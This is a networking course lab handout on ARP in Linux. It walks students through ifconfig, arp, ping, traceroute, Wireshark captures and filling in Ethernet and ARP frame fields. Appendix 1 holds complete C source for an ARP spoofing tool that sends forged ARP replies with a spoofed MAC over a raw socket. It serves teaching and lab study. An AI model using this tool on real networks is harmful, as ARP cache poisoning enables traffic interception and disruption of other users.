07.05.2025

Prepared by Alexander Chefranov, Updated by Ali Farrokhnejad (06.05.2025)

**CMPE455 Lab 3 ARP in Linux**

You will conduct a series of Experiments 1-9, on two computers per group, according to the screenshots and explanations provided below. You should create a report based on the experiment examples below, showing your results and answering the questions***.***

For Experiment 9, fill in Ethernet and ARP frames for ARP request and ARP reply

Write your report based on the template provided to you on Teams, and submit it via the Teams assignment until **May, 22, 2025, Thursday.**

**Grading policy: 100% for report**

Experiments 1-9 are specified below:

1. Ifconfig



***Question: IPv4 and MAC addresses of your two computers? (Note that these will be used throughout the experiment.)***

1. Arp



***Question: How many hosts are in the table?***

1. Ping



Ping two computers, check ARP table again

1. ***Traceroute***

******

1. Wireshark

Launch: sudo wireshark



1. Arp filtering

In Filter field: arp



1. ARP reply program: sendarp3.c **(see Appendix 1 for code)**

This program is used to perform ARP Spoofing by sending a series of ARP reply packets. More information can be found in the following sections, and the **code with detailed explanations is provided in Appendix 1**.

1. ARP spoofing

Generating by sendarp3 ten ARP replies at 192.168.181.125 sent to 192.168.181.132 with MAC address of 192.168.181.126 spoofed as 00:11:22:33:44:55 (program launch and Wireshark output):



ARP replies received on 192.168.181.132 (ARP table is shown before and after ARP replies sending):



***Question: How ARP spoofing is made?***

1. In Wireshark, take screenshots of ARP request and reply packets. From the data shown by Wireshark, for ARP request and reply messages.

Fill in all the fields of Ethernet frame and ARP packet using the following structures (taken from <https://en.wikipedia.org/wiki/Ethernet_frame> and <https://en.wikipedia.org/wiki/Address_Resolution_Protocol>):

|  |
| --- |
| **802.3 Ethernet packet and frame structure for ARP request** |
| **Layer** | **Preamble** | **Start of frame delimiter** | **MAC destination** | **MAC source** | [**802.1Q**](https://en.wikipedia.org/wiki/802.1Q)**tag (optional)** | [**Ethertype**](https://en.wikipedia.org/wiki/Ethertype)**(**[**Ethernet II**](https://en.wikipedia.org/wiki/Ethernet_II)**) or length ([IEEE 802.3](https://en.wikipedia.org/wiki/IEEE_802.3%22%20%5Co%20%22IEEE%20802.3))** | **Payload** | [**Frame check sequence**](https://en.wikipedia.org/wiki/Frame_check_sequence)**(32‑bit**[**CRC**](https://en.wikipedia.org/wiki/Cyclic_redundancy_check)**)** | [**Interpacket gap**](https://en.wikipedia.org/wiki/Interpacket_gap) |
|  | 7 [octets](https://en.wikipedia.org/wiki/Octet_%28computing%29) | 1 octet | 6 octets | 6 octets | (4 octets) | 2 octets | 46‑1500 octets | 4 octets | 12 octets |
|  |  |  |  |

|  |
| --- |
| **Internet Protocol (IPv4) over Ethernet ARP Request packet** |
| **Octet offset** | **0** | **1** |
| **0** | Hardware type (HTYPE) |
| **2** | Protocol type (PTYPE) |
| **4** | Hardware address length (HLEN) | Protocol address length (PLEN) |
| **6** | Operation (OPER) |
| **8** | Sender hardware address (SHA) (first 2 bytes) |
| **10** | (next 2 bytes) |
| **12** | (last 2 bytes) |
| **14** | Sender protocol address (SPA) (first 2 bytes) |
| **16** | (last 2 bytes) |
| **18** | Target hardware address (THA) (first 2 bytes) |
| **20** | (next 2 bytes) |
| **22** | (last 2 bytes) |
| **24** | Target protocol address (TPA) (first 2 bytes) |
| **26** | (last 2 bytes) |

|  |
| --- |
| **802.3 Ethernet packet and frame structure for ARP reply** |
| **Layer** | **Preamble** | **Start of frame delimiter** | **MAC destination** | **MAC source** | [**802.1Q**](https://en.wikipedia.org/wiki/802.1Q)**tag (optional)** | [**Ethertype**](https://en.wikipedia.org/wiki/Ethertype)**(**[**Ethernet II**](https://en.wikipedia.org/wiki/Ethernet_II)**) or length ([IEEE 802.3](https://en.wikipedia.org/wiki/IEEE_802.3%22%20%5Co%20%22IEEE%20802.3))** | **Payload** | [**Frame check sequence**](https://en.wikipedia.org/wiki/Frame_check_sequence)**(32‑bit**[**CRC**](https://en.wikipedia.org/wiki/Cyclic_redundancy_check)**)** | [**Interpacket gap**](https://en.wikipedia.org/wiki/Interpacket_gap) |
|  | 7 [octets](https://en.wikipedia.org/wiki/Octet_%28computing%29) | 1 octet | 6 octets | 6 octets | (4 octets) | 2 octets | 46‑1500 octets | 4 octets | 12 octets |
|  |  |  |  |

|  |
| --- |
| **Internet Protocol (IPv4) over Ethernet ARP Reply packet** |
| **Octet offset** | **0** | **1** |
| **0** | Hardware type (HTYPE) |
| **2** | Protocol type (PTYPE) |
| **4** | Hardware address length (HLEN) | Protocol address length (PLEN) |
| **6** | Operation (OPER) |
| **8** | Sender hardware address (SHA) (first 2 bytes) |
| **10** | (next 2 bytes) |
| **12** | (last 2 bytes) |
| **14** | Sender protocol address (SPA) (first 2 bytes) |
| **16** | (last 2 bytes) |
| **18** | Target hardware address (THA) (first 2 bytes) |
| **20** | (next 2 bytes) |
| **22** | (last 2 bytes) |
| **24** | Target protocol address (TPA) (first 2 bytes) |

Appendix 1. Sendarp3.c

//Adapted by Ali Farrokhnejad 06.05.2025

//Adapted by Alexander G. Chefranov 24.04.2019

/\* Copyright (C) 2011-2015 P.D. Buchan (pdbuchan@yahoo.com)

 This program is free software: you can redistribute it and/or modify

 it under the terms of the GNU General Public License as published by

 the Free Software Foundation, either version 3 of the License, or

 (at your option) any later version.

 This program is distributed in the hope that it will be useful,

 but WITHOUT ANY WARRANTY; without even the implied warranty of

 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

 GNU General Public License for more details.

 You should have received a copy of the GNU General Public License

 along with this program. If not, see <http://www.gnu.org/licenses/>.

\*/

/\*

 Example Usage:

 gcc -o sendarp3 sendarp3.c

 sudo ./sendarp3 p17p1 192.168.181.126 192.168.181.132 00:1f:d0:0f:98:77 00:11:22:33:44:55

 sudo ./sendarp3 <interface> <Source IP> <Destination IP> <Destination MAC> <Spoofed MAC>

\*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h> // close(), usleep()

#include <string.h> // strncpy(), memset(), memcpy()

#include <netdb.h> // struct addrinfo

#include <sys/types.h> // needed for socket(), uint8\_t, uint16\_t

#include <sys/socket.h> // needed for socket()

#include <netinet/in.h> // IPPROTO\_RAW, INET\_ADDRSTRLEN

#include <netinet/ip.h> // IP\_MAXPACKET

#include <arpa/inet.h> // inet\_pton()

#include <sys/ioctl.h> // ioctl()

#include <bits/ioctls.h> // ioctl() request values

#include <net/if.h> // struct ifreq

#include <linux/if\_ether.h> // ETH\_P\_ARP = 0x0806

#include <linux/if\_packet.h> // struct sockaddr\_ll

#include <net/ethernet.h>

#include <errno.h> // errno, perror()

// ARP header structure

typedef struct \_arp\_hdr arp\_hdr;

struct \_arp\_hdr {

 uint16\_t htype; // Hardware type (e.g., 1 for Ethernet)

 uint16\_t ptype; // Protocol type (e.g., 0x0800 for IPv4)

 uint8\_t hlen; // Hardware address length (6 for MAC)

 uint8\_t plen; // Protocol address length (4 for IPv4)

 uint16\_t opcode; // Operation code (1 = request, 2 = reply)

 uint8\_t sender\_mac[6]; // Sender MAC address

 uint8\_t sender\_ip[4]; // Sender IP address

 uint8\_t target\_mac[6]; // Target MAC address

 uint8\_t target\_ip[4]; // Target IP address

};

// Constants

#define ETH\_HDRLEN 14 // Ethernet header length

#define ARP\_HDRLEN 28 // ARP header length

#define ARPOP\_REPLY 2 // ARP reply opcode

#define MAX\_MAC\_STR 18 // Length of MAC address string (e.g., "00:11:22:33:44:55")

#define SEND\_COUNT 10 // Number of ARP replies to send

#define SEND\_DELAY\_US 100000 // Delay between sends (100ms)

// Parse MAC address string (e.g., "00:11:22:33:44:55") into uint8\_t array

int parse\_mac(const char \*mac\_str, uint8\_t \*mac) {

 unsigned int bytes[6];

 if (sscanf(mac\_str, "%x:%x:%x:%x:%x:%x", &bytes[0], &bytes[1], &bytes[2],

 &bytes[3], &bytes[4], &bytes[5]) != 6) {

 return -1;

 }

 for (int i = 0; i < 6; i++) {

 if (bytes[i] > 0xFF) return -1;

 mac[i] = (uint8\_t)bytes[i];

 }

 return 0;

}

int main(int argc, char \*\*argv) {

 int i, status, frame\_length, sd, bytes;

 arp\_hdr arphdr;

 struct addrinfo hints, \*res;

 struct sockaddr\_in \*ipv4;

 struct sockaddr\_ll device;

 struct ifreq ifr;

 char interface[40], src\_ip[INET\_ADDRSTRLEN], target[INET\_ADDRSTRLEN];

 uint8\_t src\_mac[6], dst\_mac[6], spoofed\_mac[6], ether\_frame[IP\_MAXPACKET];

 // Validate command-line arguments

 if (argc != 6) {

 fprintf(stderr, "Usage: %s <interface> <source\_ip> <target\_ip> <target\_mac> <spoofed\_mac>\n", argv[0]);

 fprintf(stderr, "Example: %s eth0 192.168.181.126 192.168.181.132 00:1f:d0:0f:98:77 00:11:22:33:44:55\n", argv[0]);

 exit(EXIT\_FAILURE);

 }

 // Copy arguments safely

 strncpy(interface, argv[1], sizeof(interface) - 1);

 interface[sizeof(interface) - 1] = '\0';

 strncpy(src\_ip, argv[2], sizeof(src\_ip) - 1);

 src\_ip[sizeof(src\_ip) - 1] = '\0';

 strncpy(target, argv[3], sizeof(target) - 1);

 target[sizeof(target) - 1] = '\0';

 // Parse target and spoofed MAC addresses

 if (parse\_mac(argv[4], dst\_mac) != 0) {

 fprintf(stderr, "Invalid target MAC address: %s\n", argv[4]);

 exit(EXIT\_FAILURE);

 }

 if (parse\_mac(argv[5], spoofed\_mac) != 0) {

 fprintf(stderr, "Invalid spoofed MAC address: %s\n", argv[5]);

 exit(EXIT\_FAILURE);

 }

 printf("Starting ARP spoofing on interface %s\n", interface);

 // Create socket to look up interface MAC address

 if ((sd = socket(AF\_INET, SOCK\_RAW, IPPROTO\_RAW)) < 0) {

 perror("socket() failed for ioctl");

 exit(EXIT\_FAILURE);

 }

 // Get source MAC address using ioctl

 memset(&ifr, 0, sizeof(ifr));

 strncpy(ifr.ifr\_name, interface, sizeof(ifr.ifr\_name) - 1);

 if (ioctl(sd, SIOCGIFHWADDR, &ifr) < 0) {

 perror("ioctl() failed to get source MAC address");

 exit(EXIT\_FAILURE);

 }

 close(sd);

 memcpy(src\_mac, ifr.ifr\_hwaddr.sa\_data, 6);

 // Print source MAC address

 printf("MAC address for interface %s: %02x:%02x:%02x:%02x:%02x:%02x\n",

 interface, src\_mac[0], src\_mac[1], src\_mac[2], src\_mac[3], src\_mac[4], src\_mac[5]);

 // Get interface index for sockaddr\_ll

 memset(&device, 0, sizeof(device));

 if ((device.sll\_ifindex = if\_nametoindex(interface)) == 0) {

 perror("if\_nametoindex() failed");

 exit(EXIT\_FAILURE);

 }

 printf("Interface index: %d\n", device.sll\_ifindex);

 // Convert source IP to binary

 if ((status = inet\_pton(AF\_INET, src\_ip, &arphdr.sender\_ip)) != 1) {

 fprintf(stderr, "inet\_pton() failed for source IP %s: %s\n",

 src\_ip, status == 0 ? "Invalid address" : strerror(errno));

 exit(EXIT\_FAILURE);

 }

 // Resolve target IP

 memset(&hints, 0, sizeof(hints));

 hints.ai\_family = AF\_INET;

 hints.ai\_socktype = SOCK\_STREAM;

 hints.ai\_flags |= AI\_CANONNAME;

 if ((status = getaddrinfo(target, NULL, &hints, &res)) != 0) {

 fprintf(stderr, "getaddrinfo() failed for target %s: %s\n", target, gai\_strerror(status));

 exit(EXIT\_FAILURE);

 }

 ipv4 = (struct sockaddr\_in \*)res->ai\_addr;

 memcpy(&arphdr.target\_ip, &ipv4->sin\_addr, 4);

 freeaddrinfo(res);

 // Configure sockaddr\_ll for raw packet sending

 device.sll\_family = AF\_PACKET;

 memcpy(device.sll\_addr, src\_mac, 6);

 device.sll\_halen = 6;

 // Build ARP header

 arphdr.htype = htons(1); // Ethernet (1)

 arphdr.ptype = htons(ETH\_P\_IP); // IPv4 (0x0800)

 arphdr.hlen = 6; // MAC address length

 arphdr.plen = 4; // IPv4 address length

 arphdr.opcode = htons(ARPOP\_REPLY); // ARP reply

 memcpy(arphdr.sender\_mac, spoofed\_mac, 6); // Spoofed MAC

 memcpy(arphdr.target\_mac, dst\_mac, 6); // Target MAC

 // Build Ethernet frame

 frame\_length = 6 + 6 + 2 + ARP\_HDRLEN; // Dest MAC + Src MAC + EtherType + ARP

 memcpy(ether\_frame, dst\_mac, 6); // Destination MAC

 memcpy(ether\_frame + 6, src\_mac, 6); // Source MAC

 ether\_frame[12] = ETH\_P\_ARP / 256; // EtherType (0x0806)

 ether\_frame[13] = ETH\_P\_ARP % 256;

 memcpy(ether\_frame + ETH\_HDRLEN, &arphdr, ARP\_HDRLEN); // ARP payload

 printf("Ethernet frame prepared\n");

 // Create raw socket for sending

 if ((sd = socket(PF\_PACKET, SOCK\_RAW, htons(ETH\_P\_ALL))) < 0) {

 perror("socket() failed for sending");

 exit(EXIT\_FAILURE);

 }

 // Send 10 ARP replies with delay

 for (i = 0; i < SEND\_COUNT; i++) {

 if ((bytes = sendto(sd, ether\_frame, frame\_length, 0, (struct sockaddr \*)&device, sizeof(device))) <= 0) {

 perror("sendto() failed");

 exit(EXIT\_FAILURE);

 }

 printf("Sent %d bytes (ARP reply %d/%d)\n", bytes, i + 1, SEND\_COUNT);

 usleep(SEND\_DELAY\_US); // 100ms delay

 }

 // Clean up

 close(sd);

 printf("ARP spoofing complete\n");

 return EXIT\_SUCCESS;

}